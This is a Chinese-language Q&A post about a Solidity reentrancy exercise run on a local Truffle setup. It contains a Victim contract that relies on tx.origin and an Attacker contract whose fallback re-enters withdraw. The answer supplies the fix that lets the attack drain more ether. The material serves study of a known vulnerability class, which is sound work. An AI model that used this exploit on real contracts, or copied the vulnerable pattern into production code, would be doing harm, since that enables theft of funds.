Reentrant-Attacks
在 Truffle Console 上執行重入:攻擊者沒有竊取 5 個乙太,為什麼只有 2 個重入呼叫?
我正在做提供的範例: JustDev 我已經參數化了withdraw 方法。
受害者 SC 是:
pragma solidity ^0.5.8; contract Victim{ address owner; constructor() public{ owner = msg.sender; } function withdraw(address payable to, uint amount) public{ // uint transferAmt = 1 ether; require(tx.origin == owner); (bool success, ) = to.call.value(amount)(""); require(success); } function() payable external {} }
攻擊者 SC:
pragma solidity ^0.5.8; import './Victim_tx8.sol'; contract Attacker{ uint amount = 1 ether; address payable owner; Victim public v; uint public count; event LogFallback(uint c, uint balance); constructor (address payable victim) public { owner = msg.sender; count =0; v=Victim(victim); } function attack(address payable to, uint a) public { v.withdraw(to, a); } function () external payable{ count++; emit LogFallback(count, address(this).balance); if(count < 5 ) { v.withdraw(owner,amount); } } }
我認為它沒有執行 5 次重入呼叫(為什麼?)。我使用了 Truffle 控制台並執行了以下命令:
V = await Victim.deployed() A = await Attacker.deployed() acc2 = accounts[2] web3.eth.sendTransaction({to:V.address, from:acc2, value: web3.utils.toWei('15')})//executes the transaction Vbal = await web3.eth.getBalance(V.address) web3.utils.fromWei(Vbal, "ether") 15 await A.attack(A.address, web3.utils.toWei('1',"ether"),{from:accounts[0]})//executes the transaction Vbal = await web3.eth.getBalance(V.address) web3.utils.fromWei(Vbal, "ether") '13' Abal = await web3.eth.getBalance(A.address) undefined web3.utils.fromWei(Abal, "ether") '1'
Victim 的初始餘額為 0,然後增加到 15。在重入過程中,Withdraw(..) 正在轉移 Ether,但 Victim 的最終餘額為 ‘13’,而攻擊者的餘額僅為 ‘1’,為什麼?有人請指導我為什麼沒有5輪可重入呼叫?
只需在智能合約的備份功能中替換
v.withdraw(owner,amount);
為。v.withdraw(address(this),amount);``Attacker
其實
owner
這裡指的是用來部署的賬號Attacker
。所以目前該withdraw
函式只被呼叫兩次:
- 將金額
a
(1 乙太幣)轉移到to
地址(Attacker
address),a
並to
作為attack
函式的參數。- 將 1 個乙太幣(
amount
狀態變數)轉移到owner
EOA。通過在備份中替換
owner
byaddress(this)
,您將獲得正確的行為,並且Attacker
智能合約將收到4 ether + a
.